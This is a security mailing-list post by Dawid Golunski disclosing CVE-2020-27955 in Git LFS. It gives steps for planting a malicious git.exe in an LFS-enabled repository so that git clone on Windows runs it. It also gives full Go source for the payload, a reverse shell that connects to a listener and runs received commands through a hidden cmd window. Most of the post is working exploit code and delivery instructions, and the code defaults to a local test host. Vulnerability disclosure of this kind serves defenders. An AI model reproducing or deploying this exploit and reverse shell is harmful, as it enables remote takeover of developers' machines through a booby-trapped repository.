Git LFS (git-lfs) - Remote Code Execution (RCE) exploit CVE-2020-27955 - Clone to Pwn

                							

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<h1 class="m-title">Git LFS (git-lfs) - Remote Code Execution (RCE) exploit CVE-2020-27955 - Clone to Pwn</h1>
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<em>From</em>: Dawid Golunski &lt;dawid () legalhackers com&gt;


<em>Date</em>: Wed, 4 Nov 2020 23:26:44 -0300


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<pre style="margin: 0em;">/*
   Go PoC exploit for git-lfs -  Remote Code Execution (RCE)
vulnerability CVE-2020-27955
   git-lfs-RCE-exploit-CVE-2020-27955.go

   Discovered by Dawid Golunski
   <a rel="nofollow" href="https://legalhackers.com">https://legalhackers.com</a>
   <a rel="nofollow" href="https://exploitbox.io">https://exploitbox.io</a>


   Affected (RCE exploit):
   Git / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken /
SmartGit / SourceTree etc.
   Basically the whole Windows dev world which uses git.

   Usage:
   Compile: go build git-lfs-RCE-exploit-CVE-2020-27955.go
   Save &amp; commit as git.exe

   The payload should get executed automatically on git clone operation.
   It spawns a reverse shell, or a calc.exe for testing (if it
couldn't connect).

   An lfs-enabled repository with lfs files may also be needed so that git-lfs
gets invoked. This can be achieved with:

   git lfs track "*.dat"
   echo "fat bug file" &gt; lfsdata.dat
   git add .*
   git add *
   git commmit -m 'git-lfs exploit' -a

   Check out the full advisory for details:

   <a rel="nofollow" href="https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html">https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html</a>

   <a rel="nofollow" href="https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html">https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html</a>

   PoC video at:
   <a rel="nofollow" href="https://youtu.be/tlptOf9w274">https://youtu.be/tlptOf9w274</a>

 ** For testing purposes only **


*/

package main
import (
    "net"
    "os/exec"
    "bufio"
    "syscall"
)


func revsh(host string) {

    c, err := net.Dial("tcp", host)
    if nil != err {
    // Conn failed
        if nil != c {
            c.Close()
        }
        // Calc for testing purposes if no listener available
        cmd := exec.Command("calc")
        cmd.Run()
        return
    }

    r := bufio.NewReader(c)
    for {
        runcmd, err := r.ReadString('\n')
        if nil != err {
            c.Close()
            return
        }
        cmd := exec.Command("cmd", "/C", runcmd)
        cmd.SysProcAttr = &amp;syscall.SysProcAttr{HideWindow: true}
        out, _ := cmd.CombinedOutput()
        c.Write(out)
    }
}

// Connect to netcat listener on local port 1337
func main() {
    revsh("localhost:1337")
}


-- 
Regards,
Dawid Golunski
<a rel="nofollow" href="https://legalhackers.com">https://legalhackers.com</a>
<a rel="nofollow" href="https://ExploitBox.io">https://ExploitBox.io</a>
t: @dawid_golunski

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</pre>
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<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>Git LFS (git-lfs) - Remote Code Execution (RCE) exploit CVE-2020-27955 - Clone to Pwn</strong> <em>Dawid Golunski (Nov 05)</em>
</li></ul>


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